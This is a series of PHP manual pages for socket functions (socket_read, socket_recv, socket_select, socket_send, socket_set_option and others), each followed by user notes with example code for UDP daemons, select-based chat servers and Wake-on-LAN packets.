       socket_sendto($sux,  "I hear you", 9999, 0x4, $ip, $port);
       }
     }
  while(true);
Tarik Kettani
01-Oct-2005 02:54
For a UDP listening server in php, let's say you need something to listen for 2 seconds and give you all the received data in that time .. beware of the cpu load of a while(true) or while (time() <= $timeout) kinda thing ...

i managed to go from a 100% cpu usage to something more reasonable by introducing a little microsleep between the socket_recv polls :

$sock2 = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
if(!socket_bind($sock2, $your_ip, 666))
{
   socket_close($sock2);
   die( 'socket_bind failed: '.socket_strerror(socket_last_error()));
}

socket_set_nonblock($sock2);

$timeout = time() + (2); // 3 seconds timeout

while (time() <= $timeout)
{
   while (@socket_recv($sock2, $data, 8192, 0))
   {
   // do something useful with $data :)
   }
   usleep(100000); // 100ms delay keeps the doctor away
}
socket_close($sock2);

bonne chance :)
lewislp at yahoo dot com
31-Aug-2005 03:13
socket_listen() cannot be used for UDP communications as discussed below.

In addition, the example below discusses UDP connections, which only exist if the application manages them through a state table (the OS does not create a UDP connection upon receiving a datagram).  Having a function named socket_connect() that determines the remote IP and port only confuses the matter by giving the indication of some sort of connection handshake between two hosts.  Rather, socket_connect() only specifies the remote IP and port used by subsequent socket_send() calls.  You can achieve the same effect by skipping socket_connect() altogether and specifying the remote IP and port in socket_sendto() calls.

If you find yourself writing a connection-based protocol on top of UDP, consider using TCP.  If your application requires streaming data of some sort, use TCP to manage connections and control messages, and UDP to handle the streaming data (H.323 is an example of a suite of TCP and UDP protocols working in conjunction).
john at bhdnet dot com
24-Feb-2005 04:14
One suggestion for the above example for working with UDP.

The example uses the same socket to connect to a machine thus closing the listening socket and forcing the re-creation of a new UDP socket and wasting alot of processor time.

Instead it would be better to follow the standard TCP/IP operation method whereby you have one socket listening and create new sockets to form active connections.

So when the UDP socket is incoming create a new socket identical (bind to a different port number) and then connect.

Of course, if you wanted bi-directional communication you should always use TCP/IP because it is more reliable and has methods of packet arrangement and recovery.
tsuna at tsunaquake d0t c0m
20-Feb-2005 09:11
As you can see, socket_listen() doesn't work with UDP sockets. I found it difficult to make a daemon listenning for incoming connections in UDP (especially if this daemon has to reply to the UDP client), so here is how I made it:

<?php
// example of "daemon" in UDP
while(TRUE) { // never stop the daemon
   $socketD = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); // create an UDP socket

   echo 'Creating socket... '; // YES, the socket is creating EACH TIME the while loops

   if($socketD === FALSE) { //omg, something went wrong
       echo 'socket_create failed: '.socket_strerror(socket_last_error())."\n";
       exit(1);
   }

   echo "OK\nBinding the socket on 0.0.0.0:27123 ... ";
   // let the daemon listen on the port 27123 on all interfaces
   if(!socket_bind($socketD, "0.0.0.0", 27123)) {
       socket_close($socketD);
       echo 'socket_bind failed: '.socket_strerror(socket_last_error())."\n";
       exit(1);
   }

   echo "OK\nNow ready to accept connections.\nListening on the socket ... \n";
   // so far, our socket is open and bound to a port: it's listening for ONE incoming connection

   // this is a special way of socket_read()'ing what's on the socket once someone establishes a connection
   socket_recvfrom($socketD, $buf, 65535, 0, $clientIP, $clientPort);
   if($buf === FALSE) { // something went wrong
       echo 'socket_read() returned false : '.socket_strerror(socket_last_error())."\n";
       continue;
   } elseif(strlen($buf) === 0) { // this should mean "client closed the connection"
       echo 'socket_read() returned an empty string : '.socket_strerror(socket_last_error())."\n";
       continue;
   }

   echo 'Incoming connection from '.$clientIP.':'.$clientPort.' ... ';

   // ok now thats the tricky part
   // if you want to reply to the client on the UDP socket it opened, you need to connect your listening socket on them
   // this won't work unless the client puts their IP in the IP  header of the packets it's sending to your socket
   // UDP sessions don't require them to do so, and if they don't, you have no way to tell who's talking to you on the socket, and therefore no way to reply
   // so if you want to interact with the client, you have to connect your socket on them, but by doing so, you're no longer listening to other incoming connections
   // one way to fixe that would be to fork the script when an incoming connection arrives and then stop the forked script once the client exits
   if(!socket_connect($socketD, $clientIP, $clientPort)) {
       echo 'socket_create failed to connect the clientsock on '.$clientIP.':'.$clientPort.' : '.socket_strerror(socket_last_error())."\n";
       socket_close($socketD);
       continue;
   }
   echo 'connected'."\n"; // cool, now we can reply to the client

   // now you can interact with the client using socket_write() and socket_read()

   // once you're finished, you need to socket_close() your sockets and let the while loop and re-create the listenning socket (because you're no longer listenning for new incoming connections)
} // end of the infinite while
?>

Other documentation pages will provide you with handy links & examples of scripts forking themselves so that you can adapt this script to make it a real daemon working in UDP

I hope this will be helpfull
- Tsuna.
add a note add a note

后退 | 起点 | 前进
socket_last_error | 上一级 | socket_read


socket_read

(PHP 4 >= 4.1.0, PHP 5)

socket_read -- Reads a maximum of length bytes from a socket

Description

string socket_read ( resource socket, int length [, int type] )

The function socket_read() reads from the socket resource socket created by the socket_create() or socket_accept() functions. The maximum number of bytes read is specified by the length parameter. Otherwise you can use \r, \n, or \0 to end reading (depending on the type parameter, see below).

socket_read() returns the data as a string on success, or FALSE on error (including if the remote host has closed the connection). The error code can be retrieved with socket_last_error(). This code may be passed to socket_strerror() to get a textual representation of the error.

注: socket_read() returns a zero length string ("") when there is no more data to read.

Optional type parameter is a named constant:

  • PHP_BINARY_READ - use the system recv() function. Safe for reading binary data. (Default in PHP >= 4.1.0)

  • PHP_NORMAL_READ - reading stops at \n or \r. (Default in PHP <= 4.0.6)

See also
socket_accept(),
socket_bind(),
socket_connect(),
socket_listen(),
socket_last_error(),
socket_strerror() and
socket_write().

add a note add a note User Contributed Notes
Ronin-php at onabout dot net
03-May-2006 03:06
Just a helper for those trying to use sockets to transfer large ammounts of info.

I was pulling my hair out forever trying to figure out why different strings sent by different socket_writes were getting concatenated by socket_read.

If you have a problem with this, try a sleep(), the delay allows the server to see the difference (it is able to do one before the next arrives)
Bill Kuker
18-Mar-2005 11:31
Just a note that on my system the length seems to have an undocumented upper bound of 65536. I was being lazy and not read()ing in a while loop until I pointed it at real data ;)
michi at tr51 dot org
27-May-2004 03:48
if you'd like to make a "socket_read" on a linux-system connected with a flash-client (v. 6.0 r81) you have to send a string to the connected port:

<?php

   ...  //initialising communication

   $string = "ready to get/send data\0";
   socket_write($socket, $string);

   //now you can read from...
   $line = trim(socket_read($socket, MAXLINE));

   ...  // do some stuff, finaly close connection
?>
magicking89 at hotmail dot com
31-Aug-2003 07:01
if you want to use a non block socket you must to use socket_last_error

if(!socket_last_error($sc)){
   if($buffer=socket_read($sc,512,PHP_NORMAL_READ)){
     echo $buffer;
   }
}

if you use it your script wont take all your memory
schst at php-tools dot de
05-Jul-2003 09:19
You may download a generic server class at http://www.php-tools.de
This class will accept the sockets read data from it and hands it to a callback function. Furthermore there are methods for connection handling included.
25-Sep-2002 02:48
Windows telnet sends/recieves one character at a time. Try adding PHP_NORMAL_READ to the end of socket_read, that might help.
add a note add a note

后退 | 起点 | 前进
socket_listen | 上一级 | socket_recv


socket_recv

(PHP 4 >= 4.1.0, PHP 5)

socket_recv -- Receives data from a connected socket

Description

int socket_recv ( resource socket, string &buf, int len, int flags )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
10-Feb-2006 09:22
On the "mysterious" int flags, I here give you a copy of the explanation from a *NIX manual:

       The flags argument to a recv() call is formed by OR'ing one or more of the following values:

       MSG_OOB
             This flag requests receipt of out-of-band data that would not be received in the normal data stream.  Some
             protocols place expedited data at the head of the normal data queue, and thus this flag cannot be used with
             such protocols.

       MSG_PEEK
             This flag causes the receive operation to return data from the  beginning  of  the  receive  queue  without
             removing that data from the queue.  Thus, a subsequent receive call will return the same data.

       MSG_WAITALL
             This  flag  requests  that  the operation block until the full request is satisfied.  However, the call may
             still return less data than requested if a signal is caught, an error or disconnect  occurs,  or  the  next
             data to be received is of a different type than that returned.

       MSG_TRUNC
             Return the real length of the packet, even when it was longer than the passed buffer. Only valid for packet
             sockets.
rathamahata at rathamahata dot net
25-Aug-2005 07:44
It looks like that mysterious flags are just the recv(2) flags passed to your OS syscall and nothing more...

ext/sockets/sockets.c:PHP_FUNCTION(socket_recv)
...
       if ((retval = recv(php_sock->bsd_socket, recv_buf, len, flags)) < 1) {
               efree(recv_buf);
...

for linux you can type `man 2 recv' and you will see complete description of thouse flags.

Sergey S. Kosrtyliov <rathamahata@rathamahata.net>
http://www.rathamahata.net/
06-May-2005 07:59
My last post was incorrect. The int flag set to 2 apparently reset the file position pointer so what I was reading was the first record repeatedly.

My workaroud ended up being the following:

for($ct=1; $ct<=$numrecs; $ct++) {
   $rec = "";
   $nr=socket_recv($fp,$rec,76,0);

   //grab the extra bytes.
   $terminator = "";
   while ($terminator != ".") {
       $nr=socket_recv($fp,$terminator,1,0);
   }

     $custarray[]=substr($rec,0,76);
}

Martin K.
05-May-2005 10:42
I'm glad that Bastion left the above post about the mysterious int flag. He just helped to fix a problem that I've spent six hours on. Here's my code:

for($ct=1; $ct<=$numrecs; $ct++) {
     $rec = "";
     $nr=socket_recv($fp,$rec,77,0);
     print "Rec # $ct -->";
         print "$rec";
         print "<br>";
     }

The code is pretty simple, it just loops through all my records and prints them out. All records are 77 bytes and all end with a period. The first 36 records print perfectly then at 37 things go bad. The records start to get offset. The last few characters of the 37th record end up printing on the 38th record. The data on the sending side was perfect, so I knew that the problem was with socked_recv.

After reading the above post I tried changing the int flag. Changing the flag to 2 worked:
$nr=socket_recv($fp,$rec,77,2);

Now everything lines up perfectly. I had always left int flag as 0 since it's undocumented.

Martin K.
engine at [NO SPAM] illusiononly dot com
30-Nov-2004 08:58
To read from socket both on linux and windows OS having  flash as a client I use function bellow. $length is the size of  a chunk, not the max length to read. It will continue reading until EOL char  occures or client disconnects (or in case of error), so it works for bigger packets as well.

     function read($descriptor, $length = 1024) {
           $this->method = "read";
           if(!$client){
               echo("No valid socket descriptor !\n");
               return false;
           }
           $read ='';
       while(($flag=socket_recv($descriptor, $buf, $length,0))>0){
             $asc=ord(substr($buf, -1));
           if ($asc==0) {
               $read.=substr($buf,0,-1);
               break;
           }else{
               $read.=$buf;
           }
       }
           if ($flag<0){
           //error
           return false;
       }elseif ($flag==0){
           //Client disconnected
           return  false;
       }else{
             return $read;
       }

     }
dgk at tcde dot ru
05-Nov-2004 07:57
I've used socket_select and socket_recv with a while loop and found myself in trouble when remote side closed connection. The code below produced infinite loop and socket_select returned immediately (which lead to high cpu time consumption).

<?

socket_set_nonblock($my_socket);
$streams = array($my_socket/*, ... */);

$lastAccess = time();
while (socket_select($streams, $write = NULL, $except = NULL, SLEEP_TIME_SECONDS, SLEEP_TIME_MILLISECONDS) !== FALSE) {
   if (in_array($my_socket, $streams)) {
       while (@socket_recv($my_socket, $data, 8192, 0)) {
           echo $data;
       }
       $lastAccess = time();
   } else {
       if (time()-$lastAccess > LAST_ACCESS_TIMEOUT) {
           break;
       }
   }
   // ...
   $streams = array($my_socket/*, ... */);
}

?>

The solution was simple, but quite hard to find because socket_recv is not documented. socket_recv returns FALSE if there is no data and 0 if the socket is widowed (disconnected by remote side). So I had just to check return value of socket_recv. The problem now sounds stupid, but I've spend some time to find it out.
I hope this will save some of somebody's hair ;)
bastiaan at [no-spam] megabass dot nl
06-Apr-2004 12:35
in case you want to empty/unset $buffer, but failing to do so, try using 0 as flag.
PHP_NORMAL_READ and PHP_BINARY_READ respectively hold 1 and 2 as value.
add a note add a note

后退 | 起点 | 前进
socket_read | 上一级 | socket_recvfrom


socket_recvfrom

(PHP 4 >= 4.1.0, PHP 5)

socket_recvfrom -- Receives data from a socket, connected or not

Description

int socket_recvfrom ( resource socket, string &buf, int len, int flags, string &name [, int &port] )

警告

本函数暂无文档，仅有参数列表。

socket_recvfrom() has been binary safe since PHP 4.3.0

add a note add a note User Contributed Notes
tsuna at tsunaquack d0t c0m
22-Feb-2005 07:17
This function is very handy when dealing with UDP connections, because it enables you to know who's the client who connected to your socket. Bear in mind that UDP doesn't care about the source of the connection, the packets may be annonymous or even faked. No check is required.

If you want to listen on an UDP socket and answer to the client, read my comment on socket_listen() -> http://www.php.net/manual/en/function.socket-listen.php
add a note add a note

后退 | 起点 | 前进
socket_recv | 上一级 | socket_select


socket_select

(PHP 4 >= 4.1.0, PHP 5)

socket_select -- Runs the select() system call on the given arrays of sockets with a specified timeout

Description

int socket_select ( array &read, array &write, array &except, int tv_sec [, int tv_usec] )

socket_select() accepts arrays of sockets and waits for them to change status. Those coming with BSD sockets background will recognize that those socket resource arrays are in fact the so-called file descriptor sets. Three independent arrays of socket resources are watched.

The sockets listed in the read array will be watched to see if characters become available for reading (more precisely, to see if a read will not block - in particular, a socket resource is also ready on end-of-file, in which case a socket_read() will return a zero length string).

The sockets listed in the write array will be watched to see if a write will not block.

The sockets listed in the except array will be watched for exceptions.

警告

On exit, the arrays are modified to indicate which socket resource actually changed status.

You do not need to pass every array to socket_select(). You can leave it out and use an empty array or NULL instead. Also do not forget that those arrays are passed by reference and will be modified after socket_select() returns.

例子 1. socket_select() example

<?php
/* Prepare the read array */
$read = array($socket1, $socket2);

$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0);

if ($num_changed_sockets === false) {
    /* Error handling */
} else if ($num_changed_sockets > 0) {
    /* At least at one of the sockets something interesting happened */
}
?>

注: Due a limitation in the current Zend Engine it is not possible to pass a constant modifier like NULL directly as a parameter to a function which expects this parameter to be passed by reference. Instead use a temporary variable or an expression with the leftmost member being a temporary variable:

例子 2. Using NULL with socket_select()

<?php
socket_select($r, $w, $e = NULL, 0);
?>

The tv_sec and tv_usec together form the timeout parameter. The timeout is an upper bound on the amount of time elapsed before socket_select() return. tv_sec may be zero , causing socket_select() to return immediately. This is useful for polling. If tv_sec is NULL (no timeout), socket_select() can block indefinitely.

On success socket_select() returns the number of socket resources contained in the modified arrays, which may be zero if the timeout expires before anything interesting happens. On error FALSE is returned. The error code can be retrieved with socket_last_error().

注: Be sure to use the === operator when checking for an error. Since the socket_select() may return 0 the comparison with == would evaluate to TRUE:

例子 3. Understanding socket_select()'s result

<?php
if (false === socket_select($r, $w, $e = NULL, 0)) {
    echo "socket_select() failed, reason: " .
        socket_strerror(socket_last_error()) . "\n";
}
?>

注: Be aware that some socket implementations need to be handled very carefully. A few basic rules:

  • You should always try to use socket_select() without timeout. Your program should have nothing to do if there is no data available. Code that depends on timeouts is not usually portable and difficult to debug.

  • No socket resource must be added to any set if you do not intend to check its result after the socket_select() call, and respond appropriately. After socket_select() returns, all socket resources in all arrays must be checked. Any socket resource that is available for writing must be written to, and any socket resource available for reading must be read from.

  • If you read/write to a socket returns in the arrays be aware that they do not necessarily read/write the full amount of data you have requested. Be prepared to even only be able to read/write a single byte.

  • It's common to most socket implementations that the only exception caught with the except array is out-of-bound data received on a socket.

See also
socket_read(),
socket_write(),
socket_last_error() and
socket_strerror().

add a note add a note User Contributed Notes
Whosawhatsis at that google email thingy
20-Apr-2006 10:35
Another solution to the problem of keys not being preserved is to have an additional array for looking up sockets that uses their resource identifiers as keys. This can be obtained using array_flip() in some cases, but is particularly useful if each socket is associated with an object. In this case, you can make the object's constructor add a pointer to itself to the lookup array with its socket resource identifier as a key and use the following code to execute a read method for the object associated with each socket returned by socket_select():

<?php
socket_select($reads, $writes, $excepts, 0);

foreach ($sockets as $socket) {
   $lookuparray[$socket]->read();
}
?>
ludvig dot ericson at gmail dot com
02-Nov-2005 09:35
Regarding the comment below, No, it does not, it's a system call and I believe it's rather hard to preserve keys.

Additionally, socket_select should be used like it was a user-inputted array, that you don't know what you sent in to.

<?php
$reads = $clients;
$reads[] = $server;

socket_select($reads);

foreach ($reads as $read) {
   /* do some stuff */
}
?>
crimson at NOSPAMtechnologist dot com
01-Oct-2005 07:15
Note that the resulting arrays do NOT maintain keys (PHP 4.3.2) after being run through this function:

Before:
Array
(
   [Client_Socket] => Resource id #6
   [Server_Socket] => Resource id #9
)

After:
Array
(
   [0] => Resource id #6
   [1] => Resource id #9
)

It would have been nice to have the keys stay to figure out which stream you need to receive from, but you'll have to use some fancy foreach loop to figure out which sockets to check.
vardhan ( at ) rogers ( dot ) com
28-Aug-2005 10:46
A simple PHP script using socket_select() to manage multiple connections.
connect using "telnet localhost 9050". it broadcasts your messages that you send through telnet to other users connected to the server -- sort of like a chat script

#!/usr/local/bin/php
<?php

   $port = 9050;

   // create a streaming socket, of type TCP/IP
   $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

   // set the option to reuse the port
   socket_set_option($sock, SOL_SOCKET, SO_REUSEADDR, 1);

   // "bind" the socket to the address to "localhost", on port $port
   // so this means that all connections on this port are now our resposibility to send/recv data, disconnect, etc..
   socket_bind($sock, 0, $port);

   // start listen for connections
   socket_listen($sock);

   // create a list of all the clients that will be connected to us..
   // add the listening socket to this list
   $clients = array($sock);

   while (true) {
       // create a copy, so $clients doesn't get modified by socket_select()
       $read = $clients;

       // get a list of all the clients that have data to be read from
       // if there are no clients with data, go to next iteration
       if (socket_select($read, $write = NULL, $except = NULL, 0) < 1)
           continue;

       // check if there is a client trying to connect
       if (in_array($sock, $read)) {
           // accept the client, and add him to the $clients array
           $clients[] = $newsock = socket_accept($sock);

           // send the client a welcome message
           socket_write($newsock, "no noobs, but ill make an exception :)\n".
           "There are ".(count($clients) - 1)." client(s) connected to the server\n");

           socket_getpeername($newsock, $ip);
           echo "New client connected: {$ip}\n";

           // remove the listening socket from the clients-with-data array
           $key = array_search($sock, $read);
           unset($read[$key]);
       }

       // loop through all the clients that have data to read from
       foreach ($read as $read_sock) {
           // read until newline or 1024 bytes
           // socket_read while show errors when the client is disconnected, so silence the error messages
           $data = @socket_read($read_sock, 1024, PHP_NORMAL_READ);

           // check if the client is disconnected
           if ($data === false) {
               // remove client for $clients array
               $key = array_search($read_sock, $clients);
               unset($clients[$key]);
               echo "client disconnected.\n";
               // continue to the next client to read from, if any
               continue;
           }

           // trim off the trailing/beginning white spaces
           $data = trim($data);

           // check if there is any data after trimming off the spaces
           if (!empty($data)) {

               // send this to all the clients in the $clients array (except the first one, which is a listening socket)
               foreach ($clients as $send_sock) {

                   // if its the listening sock or the client that we got the message from, go to the next one in the list
                   if ($send_sock == $sock || $send_sock == $read_sock)
                       continue;

                   // write the message to the client -- add a newline character to the end of the message
                   socket_write($send_sock, $data."\n");

               } // end of broadcast foreach

           }

       } // end of reading foreach
   }

   // close the listening socket
   socket_close($sock);
?>
drenintell
02-May-2005 04:13
The continuation of my my previous post on 28-Apr-2005 10:19 at
http://ca3.php.net/manual/en/function.socket-select.php

Here it is: (Link is broken into 2 parts)

'http://gtkphp.org/php_socket_select_hangs
_explanation_and_solution.html'
Richard Neill
17-Sep-2004 12:37
It is probably a bad idea to watch an array of sockets for input with socket_select, and then socket_read() using PHP_NORMAL_READ.

Although this seems desirable, you can end up with a permanently blocked program, if someone sends you malformed input which is missing a trailing \n \r. Guess how I found that out.
calimero dot NOSPAM at NOSPAM dot creatixnet dot com
14-Feb-2003 08:36
Please note that the timeout parameter has important side-effects on the CPU usage of your script.

Setting the timeout to 0 will make your CPU looping without any time to have some rest and handle other running processes on your system, causing the system load to increase heavily while your script is running.

Personnaly, I use a value of 15 ms for this parameter. this ensures a good listening frequency while letting your system load clear.

Example :
$read = array($ListeningSocket);
$num_changed_sockets = socket_select($read, $write = NULL, $except = NULL, 0, 10);

Hope this helps.
daveb at optusnet dot com dot au
10-Sep-2002 12:27
If you haven't done any network programming before, PHP's socket_select() might appear a bit strange to you. I've written a simple php "partyline" script to demonstrate the multi-socket use of select'ing at http://dave.dapond.com/socketselect.php.txt
julian dot haupt at gmx dot de
10-Jul-2002 01:15
hello,
i just made a class which acts similiar to Perl's IO::Select in order to make socket selecting very easy

your script should look something like that:

<?php
$server = new Server;
$client = new Client;

for (;;) {
  foreach ($select->can_read(0) as $socket) {

   if ($socket == $client->socket) {
     // New Client Socket
     $select->add(socket_accept($client->socket));
   }
   else {
     //there's something to read on $socket
   }
  }
}
?>

you should of course implement some routines to detect broken sockets and remove them from the select object.

you can also do output buffering and check in the main-loop for sockets that are ready to write

<?php
class select {
  var $sockets;

  function select($sockets) {

   $this->sockets = array();

   foreach ($sockets as $socket) {
     $this->add($socket);
   }
  }

  function add($add_socket) {
   array_push($this->sockets,$add_socket);
  }

  function remove($remove_socket) {
   $sockets = array();

   foreach ($this->sockets as $socket) {
     if($remove_socket != $socket)
       $sockets[] = $socket;
   }

   $this->sockets = $sockets;
  }

  function can_read($timeout) {
   $read = $this->sockets;
   socket_select($read,$write = NULL,$except = NULL,$timeout);
   return $read;
  }

  function can_write($timeout) {
   $write = $this->sockets;
   socket_select($read = NULL,$write,$except = NULL,$timeout);
   return $write;
  }
}
?>
add a note add a note

后退 | 起点 | 前进
socket_recvfrom | 上一级 | socket_send


socket_send

(PHP 4 >= 4.1.0, PHP 5)

socket_send -- Sends data to a connected socket

Description

int socket_send ( resource socket, string buf, int len, int flags )

The function socket_send() sends len bytes to the socket socket from buf

The value of flags can be any ORed combination of the following:

表格 1. possible values for flags

0x1 | Process OOB (out-of-band) data
0x2 | Peek at incoming message
0x4 | Bypass routing, use direct interface
0x8 | Data completes record
0x100 | Data completes transaction

See also socket_sendmsg() and socket_sendto().

add a note add a note User Contributed Notes
KingOfDos
08-Nov-2005 11:41
I changed the Magic Packet function to this. I beleave that an function may not return any value, only an true/false (in the most way's).
<?PHP
function wol_magic_packet($mac,$addr='255.255.255.255') {
   //Requirements__________________________
   //    You need to load the php_sockets.dll (in case of Windows, don't
   //    know @ linux, compile with --socket-support i beleave ).
   //    Otherwise he cannot find the socket_create function
   //Usage________________________________
   //    $addr:
   //        You will send and broadcast tho this addres.
   //        Normaly you need to use the 255.255.255.255 adres, so i made it as default. So you don't need
   //        to do anything with this.
   //    $mac:
   //        You will WAKE-UP this WOL-enabled computer, you need to add the MAC-addres here.
   //
   //Return________________________________
   //    TRUE:    When socked was created succesvolly and the message has been send.
   //    FALSE:    Something went wrong
   //
   //Example_1_____________________________
   //    When the message has been send you will see the message "Done...."
   //
   //    if ( wol_magic_packet ( '00:00:00:00:00:00' ) )
   //        echo 'Done...';
   //    else
   //        echo 'Error while sending';
   //
   //Example_2_____________________________
   //    To loop more computers:
   //
   //    $arr = array(
   //        '00:00:00:00:00:00',
   //        '00:00:00:00:00:00'
   //    );
   //    foreach($arr as $this_id => $this_mac)
   //        if (! wol_magic_packet ( $this_mac ))
   //            echo 'Error while sending to ['. $this_mac .']<br />'."\r\n";
   //___________________________________________

   //Check if it's an real MAC-addres and split it into an array
   if (!preg_match("/([A-F0-9]{2}[-:]){5}[A-F0-9]{2}/",$mac,$maccheck))
       return false;
   $addr_byte = preg_split("/[-:]/",$maccheck[0]);

   //Creating hardware adress
   $hw_addr = '';
   for ($a=0; $a < 6; $a++)//Changing mac adres from HEXEDECIMAL to DECIMAL
       $hw_addr .= chr(hexdec($addr_byte[$a]));

   //Create package data
   $msg = str_repeat(chr(255),6);
   for ($a = 1; $a <= 16; $a++)
       $msg .= $hw_addr;

   //Sending data
   if ( //If
       function_exists('socket_create') AND //socket_create exists
       $sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP) AND //Can create the socket
       $sock_data = socket_connect($sock, $addr, 2050) //Can connect to the socket
   ) {  //Then
       $sock_data = socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1); //Set
       $sock_data = socket_write($sock, $msg, strlen($msg)); //Send data
       socket_close($sock); //Close socket
       return true;
   } else //Esle? :P
       return false;
}
?>
hotkey at spr dot at
19-Nov-2002 02:37
Hi guys!

This is my example for socket_create, _connect and _send: It is a Wake On Lan (WOL) function to power-up a Computer with given MAC-Adress.

greetz!

//HotKey

- - - - - - - - - >8 - - - cut here! - - - - - -

function WakeOnLan($addr, $mac) { # (C)opyright 2K2 hotkey@spr.at
  $addr_byte = explode(':', $mac);

  $hw_addr = '';
  for ($a=0; $a < 6; $a++) $hw_addr .= chr(hexdec($addr_byte[$a]));

  $msg = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);
  for ($a = 1; $a <= 16; $a++) $msg .= $hw_addr;

  # send it to the broadcast address using UDP
  $s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
  if ($s == false) {
   echo "Error creating socket!\n";
   echo "Error:".socket_strerror(socket_last_error($s));
  } else {
   $e = socket_connect($s, $addr, 2050);
   if ($e == false) {
     echo "connection failed\n";
     echo "Error:".socket_strerror(socket_last_error($s));
   } else {
     $e = socket_setopt($s, SOL_SOCKET, SO_BROADCAST, 1);
     $e = socket_write($s, $msg, strlen($msg));
     socket_close($s);

     echo "Magic Packet sent (".$e.") to ".$addr.", MAC=".$mac;
   }
  }
}

WakeOnLan('255.255.255.255', 'MAC:MAC:MAC:MAC:MAC:MAC'); #put the MAC-to-be-woken here!
# IP must be 255.255.255.255 - at least it didnt work otherwise...
add a note add a note

后退 | 起点 | 前进
socket_select | 上一级 | socket_sendto


socket_sendto

(PHP 4 >= 4.1.0, PHP 5)

socket_sendto -- Sends a message to a socket, whether it is connected or not

Description

int socket_sendto ( resource socket, string buf, int len, int flags, string addr [, int port] )

The function socket_sendto() sends len bytes from buf through the socket socket to the port at the address addr

The value of flags can be one of the following:

表格 1. possible values for flags

0x1 | Process OOB (out-of-band) data.
0x2 | Peek at incoming message.
0x4 | Bypass routing, use direct interface.
0x8 | Data completes record.
0x100 | Data completes transaction.

例子 1. socket_sendto() Example

<?php
    $sh = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    if (socket_bind($sh, '127.0.0.1', 4242)) {
        echo "Socket bound correctly";
    }
    $buf = 'Test Message';
    $len = strlen($buf);
    if (socket_sendto($sh, $buf, $len, 0x100, '192.168.0.2', 4242) !== false) {
        echo "Message sent correctly";
    }
    socket_close($sh);
?>

See also socket_send() and socket_sendmsg().

add a note add a note User Contributed Notes
ole_DOT_omland_AT_gmail_DOT_com
13-Oct-2005 10:44
Here's how you can make an udp broadcast, useful sometimes, and does seem hard to figure out hwo to do..

$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_set_option($sock, SOL_SOCKET, SO_BROADCAST, 1);
socket_sendto($sock, $broadcast_string, strlen($broadcast_string), 0, '255.255.255.255', $port);
add a note add a note

后退 | 起点 | 前进
socket_send | 上一级 | socket_set_block


socket_set_block

(PHP 4 >= 4.2.0, PHP 5)

socket_set_block -- Sets blocking mode on a socket resource

Description

bool socket_set_block ( resource socket )

The socket_set_block() function removes the O_NONBLOCK flag on the socket specified by the socket parameter.

例子 1. socket_set_block() example

<?php

$port = 9090;
if (!$socket = socket_create_listen($port)) {
    echo socket_strerror(socket_last_error());
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error());
}

if (!socket_set_nonblock($socket)) { // $socket is now nonblocking
    echo socket_strerror(socket_last_error());
}

if (!socket_set_block($socket)) {     // $socket is now blocking
    echo socket_strerror(socket_last_error());
}

?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also socket_set_nonblock() and socket_set_option()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
socket_sendto | 上一级 | socket_set_nonblock


socket_set_nonblock

(PHP 4 >= 4.1.0, PHP 5)

socket_set_nonblock -- Sets nonblocking mode for file descriptor fd

Description

bool socket_set_nonblock ( resource socket )

The socket_set_nonblock() function sets the O_NONBLOCK flag on the socket specified by the socket parameter.

例子 1. socket_set_nonblock() example

<?php
$port = 9090;
if (!$socket = socket_create_listen($port)) {
    echo socket_strerror(socket_last_error());
}

if (!socket_set_option($socket, SOL_SOCKET, SO_REUSEADDR, 1)) {
    echo socket_strerror(socket_last_error());
}

if (!socket_set_nonblock($socket)) {
    echo socket_strerror(socket_last_error());
}
?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also socket_set_block() and socket_set_option()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
socket_set_block | 上一级 | socket_set_option


socket_set_option

(PHP 4 >= 4.3.0, PHP 5)

socket_set_option -- Sets socket options for the socket

Description

bool socket_set_option ( resource socket, int level, int optname, mixed optval )

The socket_set_option() function sets the option specified by the optname parameter, at the protocol level specified by the level parameter, to the value pointed to by the optval parameter for the socket specified by the socket parameter. socket_set_option() will return FALSE on failure.

The level parameter specifies the protocol level at which the option resides. For example, to retrieve options at the socket level, a level parameter of SOL_SOCKET would be used. Other levels, such as TCP, can be used by specifying the protocol number of that level. Protocol numbers can be found by using the getprotobyname() function.

The available socket options are the same as those for the socket_get_option() function.

注: This function used to be called socket_setopt() prior to PHP 4.3.0.

add a note add a note User Contributed Notes
drenintell
01-May-2005 08:19
To expand a bit more on what "tim at e2-media dot co dot nz" started.

SO_SNDTIMEO is one of the many constants you can use with socket_set_option.

See http://ca.php.net/manual/en/ref.sockets.php for the available Predefind Constants and visit http://man.he.net/man2/setsockopt for the meaning of the ones relevant.

Tim's example might seem at first a bit non-intuitive since he is using the SO_SNDTIMEO constant. Which means, if the socket has to send out data, it must do it within the limit specified - in his case 10 seconds. Usually you won't set a timeout for sending out data. Nevertheless, the example is valid, and there are situations where you need to do so.

A more intuitive use of socket_set_option would be to set a time out for a blocking socket (a socket that waits for data to be receive when read from). You would do this like so:

socket_set_option($socket,SOL_SOCKET, SO_RCVTIMEO, array("sec"=>0, "usec"=>100));

Notice that sec= 0 and usec= 100; Depending on how long you want your program to wait to recieve data, you might want to change these values.

Regards,
  drenintell
tim at e2-media dot co dot nz
17-May-2004 11:00
To set a socket timeout value (assuming you've set it blocking) use:

socket_set_option(
  $socket,
  SOL_SOCKET,  // socket level
  SO_SNDTIMEO, // timeout option
  array(
   "sec"=>10, // Timeout in seconds
   "usec"=>0  // I assume timeout in microseconds
   )
  );
19-Jun-2002 01:35
Example:

I am not sure if the fourth argument (optval) is used in SO_REUSEADDR ... I don't think it is...  In that case, this is how you set your socket re-usable:

